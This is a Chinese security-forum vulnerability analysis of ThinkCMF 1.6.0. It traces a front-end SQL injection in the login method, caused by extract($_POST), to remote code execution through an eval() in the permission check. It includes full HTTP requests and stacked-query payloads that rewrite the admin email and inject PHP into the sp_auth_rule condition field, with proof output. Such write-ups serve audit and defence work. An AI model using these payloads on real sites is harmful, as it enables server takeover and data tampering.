

【漏洞分析】某cmf 1.6.0版本从sql注入到任意代码执行

[水泡泡](#) / 2018-11-26 09:58:00 / 浏览数 3757 [安全技术](#) [漏洞分析](#) [顶\(0\)](#) [踩\(0\)](#)

0x00前言

该漏洞源于某真实案例，虽然攻击没有用到该漏洞，但在分析攻击之后对该版本的cmf审计之后发现了，也算是有点机遇巧合的味道，我没去找漏洞，漏洞找上了我XD thinkcmf 已经非常久远了，该版本看github上的更新时间已经是4年前了，也就是2014年的时候。

0x01前台SQL注入

前台在登录方法中存在注入，thinkcmf是基于thinkphp3.2写的，直接看

文件application\User\Controller>LoginController.class.php 方法 dologin

```
//登录验证
function dologin(){

    if(!sp_check_verify_code()){
        $this->error("验证码错误! ");
    }

    $users_model=M("Users");
    $rules = array(
        //array(验证字段,验证规则,错误提示,验证条件,附加规则,验证时间)
        array('terms', 'require', '您未同意服务条款! ', 1 ),
        array('username', 'require', '用户名或者邮箱不能为空! ', 1 ),
        array('password', 'require', '密码不能为空! ',1),
    );
    if($users_model->validate($rules)->create()===false){
        $this->error($users_model->getError());
    }

    extract($_POST); ← 任意变量注册

    if(strpos($username, "@")>0){ //邮箱登陆
        $where['user_email']=$username;
    }else{
        $where['user_login']=$username; ← $where数组带入
    }
    $users_model=M('Users');
    $result = $users_model->where($where)->find();
    $ucenter_syn=C("UCENTER_ENABLED");
```



很明显的注入，通过extract我们可以注册\$where数组，而后直接传入where方法，没有经过I方法过滤的引入参数是会引发表达式注入的。

```
POST /index.php?e=user&login&a=dologin HTTP/1.1
Host: 127.0.0.1
Content-Length: 126
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/svg+xml;q=0.8
Referer: http://127.0.0.1/index.php?e=user&login&a=dologin
Accept-Language: zh-CN,zh;q=0.9
Cookie: jshl46_think_language=zh-CN; PHPSESSID=11ragdg9ghp64g281a54du0o; thinkphp_show_page_trace=0
Connection close
```

看到 install\index.php 文件的 sp_password 方法

先知社区

看到权限验证处application\Common\Lib\iAuth.class.php check 方法

```

foreach ($rules as $rule){
    if (!empty($rule['condition'])) { //根据condition进行验证
        $user = $this->getUserInfo($uid); //获取用户信息,一维数组

        $command = preg_replace('/\{(\w*)\}/', '$user[\'\\1\']', $rule['condition']);
        //dump($command); //debug
        @ (eval('$condition=(\' . $command . \');'));
        if ($condition) {
            $list[] = strtolower($rule['name']);
        }
    }else{
        $list[] = strtolower($rule['name']);
    }
}
}

```

先知社区

使用了eval来引入变量，那么这个\$command是否可控呢？

经分析其来源于sp_auth_rule表中的condition字段，备注为规则附加条件

id	module	type	name	param	title	status	condition
1	Admin	admin_url	admin/content/default	<NULL>	内容管理	1	1
2	Api	admin_url	api/guestbookadmin/index	<NULL>	所有留言	1	1
3	Api	admin_url	api/guestbookadmin/delete	<NULL>	删除网站留言	1	1
4	Comment	admin_url	comment/commentadmin/index	<NULL>	评论管理	1	1
5	Comment	admin_url	comment/commentadmin/delete	<NULL>	删除评论	1	1
6	Comment	admin_url	comment/commentadmin/check	<NULL>	评论审核	1	1
7	Portal	admin_url	portal/adminpost/index	<NULL>	文章管理	1	1
8	Portal	admin_url	portal/adminpost/listorders	<NULL>	文章排序	1	1
9	Portal	admin_url	portal/adminpost/top	<NULL>	文章置顶	1	1
10	Portal	admin_url	portal/adminpost/recommend	<NULL>	文章推荐	1	1
11	Portal	admin_url	portal/adminpost/move	<NULL>	批量移动	1	1
12	Portal	admin_url	portal/adminpost/check	<NULL>	文章审核	1	1
13	Portal	admin_url	portal/adminpost/delete	<NULL>	删除文章	1	1
14	Portal	admin_url	portal/adminpost/edit	<NULL>	编辑文章	1	1
15	Portal	admin_url	portal/adminpost/edit_post	<NULL>	提交编辑	1	1
16	Portal	admin_url	portal/adminpost/add	<NULL>	添加文章	1	1
17	Portal	admin_url	portal/adminpost/add_post	<NULL>	提交添加	1	1
18	Portal	admin_url	portal/adminterm/index	<NULL>	分类管理	1	1
19	Portal	admin_url	portal/adminterm/listorders	<NULL>	文章分类排序	1	1
20	Portal	admin_url	portal/adminterm/delete	<NULL>	删除分类	1	1
21	Portal	admin_url	portal/adminterm/edit	<NULL>	编辑分类	1	1
22	Portal	admin_url	portal/adminterm/edit_post	<NULL>	提交编辑	1	1
23	Portal	admin_url	portal/adminterm/add	<NULL>	添加分类	1	1
24	Portal	admin_url	portal/adminterm/add_post	<NULL>	提交添加	1	1
25	Portal	admin_url	portal/adminpage/index	<NULL>	页面管理	1	1
26	Portal	admin_url	portal/adminpage/listorders	<NULL>	页面排序	1	1
27	Portal	admin_url	portal/adminpage/delete	<NULL>	删除页面	1	1
28	Portal	admin_url	portal/adminpage/edit	<NULL>	编辑页面	1	1
29	Portal	admin_url	portal/adminpage/edit_post	<NULL>	提交编辑	1	1
30	Portal	admin_url	portal/adminpage/add	<NULL>	添加页面	1	1
31	Portal	admin_url	portal/adminpage/add_post	<NULL>	提交添加	1	1
32	Admin	admin_url	admin/recycle/default	<NULL>	回收站	1	1

而这些数据在安装的时候就早已经写入到数据库中了，除非我们有办法可以来修改这里的值？

是的，前面的sql注入排上用场了。

thinkphp 自

3系列开始就使用pdo作为连接数据库的驱动，而这里这个注入不涉及到参数绑定等问题，那么我们就可以利用它来执行多语句，插入数据或者修改数据了。

简单测试一下，比如修改一下后台管理员的user_email字段。

```
username=admin&password=1234&verify=3344&terms=1&where[id][0]=exp&where[id][1]=in (1):update sp_users set  
'user_email'='hack@qq.com' where id=1#
```

```
<p class="error">密码错误! </p> <p class="detail"></p>
<p class="jump">
ThinkCMF: 页面自动 <a id="href" href="javascript:history.back(-1);">跳转</a> 等待时间: <b id=
</div>
<script type="text/javascript">
(function(){
var wait = document.getElementById('wait'),href = document.getElementById('href').hr
var interval = setInterval(function(){

```

查看数据库，成功修改

The screenshot shows the ThinkCMF database management interface. On the left, a sidebar lists various database tables, with 'sp_users' selected at the bottom. The main area displays the 'sp_users' table with the following columns: id, user_login, user_pass, user_nickname, user_email, user_url, avatar, s., birthday, signature, last_login_ip, and last_login_time. The first row of data shows an admin user with user_email 'hack@qq.com'. A red arrow points to the 'sp_users' table in the sidebar, and another red arrow points to the 'user_email' field in the table data.

多语句执行可以为我们省下很多事，比如密码过于复杂无法猜解出明文时，我们可以直接修改密码的hash值为我们想要的。

分析一下权限验证的代码，它是怎么触发的？

随便找了个需要登录后台的文件比如 application\Portal\Controller\AdminPageController.class.php

The screenshot displays the ThinkCMF development environment. On the left, the file explorer shows the project structure, with the 'Controller' directory expanded. The file 'AdminPageController.class.php' is selected, indicated by a red arrow. The main editor area shows the code for 'AdminPageController.class.php', which extends 'AdminbaseController'. The code includes comments about the ThinkCMF license and author, and defines the 'index()' method. A red arrow points to the 'use Common\Controller\AdminbaseController;' line. The bottom right corner features a watermark for '先知社区'.

该controller继承于AdminbaseController，跟踪下去

```

class AdminbaseController extends AppframeController {

    public function __construct() {
        $admintpl_path=C("SP_ADMIN_TMPL_PATH").C("SP_ADMIN_DEFAULT_THEME")."/";
        C("TMPL_ACTION_SUCCESS",$admintpl_path.C("SP_ADMIN_TMPL_ACTION_SUCCESS"));
        C("TMPL_ACTION_ERROR",$admintpl_path.C("SP_ADMIN_TMPL_ACTION_ERROR"));
        parent::__construct();
        $time=time();
        $this->assign("js_debug",APP_DEBUG?"v=$time:");
    }

    function _initialize(){
        parent::_initialize();
        if(isset($_SESSION['ADMIN_ID'])){
            $users_obj= M("Users");
            $id=$_SESSION['ADMIN_ID'];
            $user=$users_obj->where("id=$id")->find();
            if(!$this->check_access($id)){
                $this->error("您没有访问权限!");
                exit();
            }
            $this->assign("admin",$user);
        }else{
            // $this->error("您还没有登录!",U("admin/public/login"));
            if(IS_AJAX){
                $this->error("您还没有登录!",U("admin/public/login"));
            }else{
                header("Location:".U("admin/public/login"));
                exit();
            }
        }
    }
}

```

而在AdminbaseController初始化的函数中，发现了检测权限的代码，跟进

```

private function check_access($uid){

    //如果用户角色是1，则无需判断
    if($uid == 1){
        return true;
    }
    if(MODULE_NAME.CONTROLLER_NAME.ACTION_NAME!="AdminIndexindex"){
        return sp_auth_check($uid);
    }else{
        return true;
    }
}

```

发现如果\$uid是1的话就直接返回了，这个\$uid其实就是数据库里面的id字段值，也就是说要触发权限验证就必须是一个低权限的用户。

继续走，如果访问的不是url为admin/index/index 就会进行鉴权，跟进sp_auth_check方法

```
function sp_auth_check($uid,$name=null,$relation='or'){
    if(empty($uid)){
        return false;
    }

    $iauth_obj=new \Common\Lib\iAuth();
    if(empty($name)){
        $name=strtolower(MODULE_NAME."/".CONTROLLER_NAME."/".ACTION_NAME);
    }
    return $iauth_obj->check($uid, $name, $relation);
}
```

实例化iAuth，调用check方法

先知社区

最终来到了我们的check方法。

```
public function check($uid,$name,$relation='or') {
    if(empty($uid)){ //为空返回
        return false;
    }
    if($uid==1){ //是管理员 返回
        return true;
    }
    if (is_string($name)) { //$name为访问的url 形如 /portal/Adminpage/add
        $name = strtolower($name);
        if (strpos($name, ',') !== false) {
            $name = explode(',', $name);
        } else {
            $name = array($name); //进入这里
        }
    }
    $list = array(); //保存验证通过的规则名

    //这一段代码的意思是查询角色是否是超级管理员，如果是的话就返回true，如果id值在管理员表里面，但是不在角色表里面就直接返回False
    $role_user_model=M("RoleUser");

    $role_user_join = C('DB_PREFIX').'role as b on a.role_id =b.id';

    $groups=$role_user_model->alias("a")->join($role_user_join)->where(array("user_id"=>$uid,"status"=>1))->getField("role_id",true);

    if(in_array(1, $groups)){
        return true;
    }
    if(empty($groups)){
        return false;
    }

    //之后就是根据id获取auth_rule
    $auth_access_model=M("AuthAccess");

    $join = C('DB_PREFIX').'auth_rule as b on a.rule_name =b.name';

    $rules=$auth_access_model->alias("a")->join($join)->where(array("a.role_id"=>array("in",$groups),"b.name"=>array("in",$name)))->select();

    foreach ($rules as $rule){
        if (!empty($rule['condition'])) { //根据condition进行验证
            $user = $this->getUserInfo($uid); //获取用户信息，一维数组

            $command = preg_replace('/\{(\w*)\}/', '$user[\'\\1\\1\'', $rule['condition']);
            //dump($command); //debug
            @eval('$condition=(' . $command . ');');
        }
    }
}
```

先知社区

具体意思都写在注释里面了，看到eval代码块，我们只要闭合掉左括号，即可引入我们的恶意代码。

那么整个利用过程就是登录一个低权限的用户，通过sql注入写入代码到我们可以访问的url的condition字段中。

比如我添加了一个低权限的用户hack，他拥有内容管理的权限

角色授权

- ▼ ☒ 内容管理
 - ▶ ☒ 所有留言
 - ▶ ☒ 评论管理
 - ▶ ☒ 文章管理
 - ▶ ☒ 分类管理
 - ▶ ☒ 页面管理
 - ▶ ☒ 回收站
- ▶ ☐ 扩展工具
- ▶ ☐ 菜单管理
- ▶ ☐ 设置
- ▶ ☐ 用户管理

先知社区

对应他能够访问的url有

role_id	rule_name	type
2	admin/content/default	admin_url
2	api/guestbookadmin/index	admin_url
2	api/guestbookadmin/delete	admin_url
2	comment/commentadmin/index	admin_url
2	comment/commentadmin/delete	admin_url
2	comment/commentadmin/check	admin_url
2	portal/adminpost/index	admin_url
2	portal/adminpost/listorders	admin_url
2	portal/adminpost/top	admin_url
2	portal/adminpost/recommend	admin_url
2	portal/adminpost/move	admin_url
2	portal/adminpost/check	admin_url
2	portal/adminpost/delete	admin_url
2	portal/adminpost/edit	admin_url
2	portal/adminpost/edit_post	admin_url
2	portal/adminpost/add	admin_url
2	portal/adminpost/add_post	admin_url
2	portal/adminterm/index	admin_url
2	portal/adminterm/listorders	admin_url
2	portal/adminterm/delete	admin_url
2	portal/adminterm/edit	admin_url
2	portal/adminterm/edit_post	admin_url
2	portal/adminterm/add	admin_url
2	portal/adminterm/add_post	admin_url
2	portal/adminpage/index	admin_url
2	portal/adminpage/listorders	admin_url
2	portal/adminpage/delete	admin_url
2	portal/adminpage/edit	admin_url
2	portal/adminpage/edit_post	admin_url
2	portal/adminpage/add	admin_url
2	portal/adminpage/add_post	admin_url
2	admin/recycle/default	admin_url
2	portal/adminpost/recyclebin	admin_url
2	portal/adminpost/restore	admin_url
2	portal/adminpost/clean	admin_url
2	portal/adminpage/recyclebin	admin_url
2	portal/adminpage/clean	admin_url
2	portal/adminpage/restore	admin_url

先知社区

那么我们只要在sp_auth_rule表中对应的url的condition字段插入代码，然后登陆该用户访问该url即可触发代码执行。

比如我们通过sql注入插入一段执行phpinfo的代码
payload:

```
where[id][0]=exp&where[id][1]=in (1);update sp_auth_rules set `condition`='1);phpinfo();die();//' where id=30#
```

请求

```
POST /index.php?g=user&m=login&a=dologin HTTP/1.1
Host: 127.0.0.1
Content-Length: 158
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.php?g=user&m=login&a=index
Accept-Language: zh-CN,zh;q=0.9
Cookie: jh9r46c_think_language=zh-CN; PHPSESSID=1lrqdg9ehkp64g281o54bduo0; thinkphp_show_page_trace=0
Connection: close

username=admin&password=1234&verify=6871&terms=1&where[id][0]=exp&where[id][1]=in (1);update sp_auth_rule set `condition`='1);phpinfo();die();//' where id=30#
```

```
</b>
</a>
<ul class="dropdown-menu pull-right">
<li><a href="/index.php?g=api&m=oauth&a=login&type=sina">i cla
&nbsp;sp:微博登录</a></li>
<li><a href="/index.php?g=api&m=oauth&a=login&type=qq">i class
<li><a href="/index.php?g=user&m=login&a=index">i class="fa fa
<li class="divider"></li>
<li><a href="/index.php?g=user&m=register&a=index">i class="fa
</ul>
</li>
</ul>
<div class="pull-right">
<form method="post" class="form-inline" action="/index.php?g=portal&m=se
<input type="text" class="" placeholder="Search" name="
<input type="submit" class="btn btn-info" value="Go" st
</form>
</div>
</div>
</div>
</div>
<div class="system-message">
<h1>&gt;.&lt;<h1>
<p class="error">密码错误! </p> <p class="detail"></p>
<p class="jump">
</div>
</div>
<script type="text/javascript">
(function() {
var wait = document.getElementById('wait').href = document.getElementById('
var interval = setInterval(function() {
```

查看一下表sp_auth_rule，成功插入

id	module	type	name	param	title	status	condition
1	Admin	admin_url	admin/content/default	<NULL>	内容管理	1	1
2	Api	admin_url	api/guestbookadmin/index	<NULL>	所有留言	1	1
3	Api	admin_url	api/guestbookadmin/delete	<NULL>	删除网站留言	1	1
4	Comment	admin_url	comment/commentadmin/index	<NULL>	评论管理	1	1
5	Comment	admin_url	comment/commentadmin/delete	<NULL>	删除评论	1	1
6	Comment	admin_url	comment/commentadmin/check	<NULL>	评论审核	1	1
7	Portal	admin_url	portal/adminpost/index	<NULL>	文章管理	1	1
8	Portal	admin_url	portal/adminpost/listorders	<NULL>	文章排序	1	1
9	Portal	admin_url	portal/adminpost/top	<NULL>	文章置顶	1	1
10	Portal	admin_url	portal/adminpost/recommend	<NULL>	文章推荐	1	1
11	Portal	admin_url	portal/adminpost/move	<NULL>	批量移动	1	1
12	Portal	admin_url	portal/adminpost/check	<NULL>	文章审核	1	1
13	Portal	admin_url	portal/adminpost/delete	<NULL>	删除文章	1	1
14	Portal	admin_url	portal/adminpost/edit	<NULL>	编辑文章	1	1
15	Portal	admin_url	portal/adminpost/edit_post	<NULL>	提交编辑	1	1
16	Portal	admin_url	portal/adminpost/add	<NULL>	添加文章	1	1
17	Portal	admin_url	portal/adminpost/add_post	<NULL>	提交添加	1	1
18	Portal	admin_url	portal/adminterm/index	<NULL>	分类管理	1	1
19	Portal	admin_url	portal/adminterm/listorders	<NULL>	文章分类排序	1	1
20	Portal	admin_url	portal/adminterm/delete	<NULL>	删除分类	1	1
21	Portal	admin_url	portal/adminterm/edit	<NULL>	编辑分类	1	1
22	Portal	admin_url	portal/adminterm/edit_post	<NULL>	提交编辑	1	1
23	Portal	admin_url	portal/adminterm/add	<NULL>	添加分类	1	1
24	Portal	admin_url	portal/adminterm/add_post	<NULL>	提交添加	1	1
25	Portal	admin_url	portal/adminpage/index	<NULL>	页面管理	1	1
26	Portal	admin_url	portal/adminpage/listorders	<NULL>	页面排序	1	1
27	Portal	admin_url	portal/adminpage/delete	<NULL>	删除页面	1	1
28	Portal	admin_url	portal/adminpage/edit	<NULL>	编辑页面	1	1
29	Portal	admin_url	portal/adminpage/edit_post	<NULL>	提交编辑	1	1
30	Portal	admin_url	portal/adminpage/add	<NULL>	添加页面	1	1);phpinfo();die();//
31	Portal	admin_url	portal/adminpage/add_post	<NULL>	提交添加	1	1
32	Admin	admin_url	admin/recycle/default	<NULL>	回收站	1	1
33	Portal	admin_url	portal/adminpost/recyclebin	<NULL>	文章回收	1	1
34	Portal	admin_url	portal/adminpost/restore	<NULL>	文章还原	1	1
35	Portal	admin_url	portal/adminpost/clean	<NULL>	彻底删除	1	1
36	Portal	admin_url	portal/adminpage/recyclebin	<NULL>	页面回收	1	1
37	Portal	admin_url	portal/adminpage/clean	<NULL>	彻底删除	1	1

那么后台登陆用户hack之后，访问url

http://127.0.0.1/index.php?g=Portal&m=AdminPage&a=add

即可看到phpinfo执行了

PHP Version 5.4.45



System	Windows NT DESKTOP-5PN5H5V 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date	Sep 2 2015 23:45:20
Compiler	MSVC9 (Visual C++ 2008)
Architecture	x86
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--disable-nsapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\instantclient11\sdk,shared" "--with-encchant=shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\windows
Loaded Configuration File	E:\phpStudy\php\php-5.4.45-nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files	(none)

而在之后的研究中，我发现此处权限验证的代码来自于thinkphp 自身。

看到文件simplewind\Core\Library\Think\Auth.class.php getAuthList方法的代码

```

$map=array(
    'id'=>array('in',$ids),
    'type'=>$type,
    'status'=>1,
);
//读取用户组所有权限规则
$rules = M()->table($this->_config['AUTH_RULE'])->where($map)->field('condition,name')->select();

//循环规则，判断结果。
$authList = array(); //
foreach ($rules as $rule) {
    if (!empty($rule['condition'])) { //根据condition进行验证
        $user = $this->getUserInfo($uid); //获取用户信息，一维数组

        $command = preg_replace('/\{(\w*?)\}/', '$user[\'\1\']', $rule['condition']);
        //dump($command); //debug
        @eval('$condition=(' . $command . ');');
        if ($condition) {
            $authList[] = strtolower($rule['name']);
        }
    } else {
        //只要存在就记录
        $authList[] = strtolower($rule['name']);
    }
}
    
```

是不是有种似曾相识的感觉，是的就是thinkcmf根据tp的改写的。

那么这里就引申出来一个审计点：

tp3框架中如果使用了auth类来验证权限，且有注入点，那么是可以尝试去审计一下任意代码执行。

类似的例子，暂时没看到。

0x03 总结

总结一下利用:

通过前台的sql注入，获取到后台权限（获取管理员密码，或者修改管理员hash值），登陆进后台，添加低权限用户，再通过sql注入来注入代码。登陆低权限用户，访问而在实际中，往往是已经有了低权限的用户，我们只需要观察用户能够访问的URL，直接注入代码即可，免去了添加低权限用户的步骤。

整个利用构造下来还是比较有趣的，不完美的是还是需要登录后台，因为很多网站或许会把后台隐藏掉，但是也有可能会因为不理解tp支持的url模式而导致绕过，这里就不细说了。

点击收藏 | 0 关注 | 2

[上一篇：一篇文章带你清晰地理解 ROP 绕...](#) [下一篇：探寻Flash SWF中的漏洞](#)

1. 1 条回复



[执念](#) 2018-11-28 05:28:58

大佬涨姿势了

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)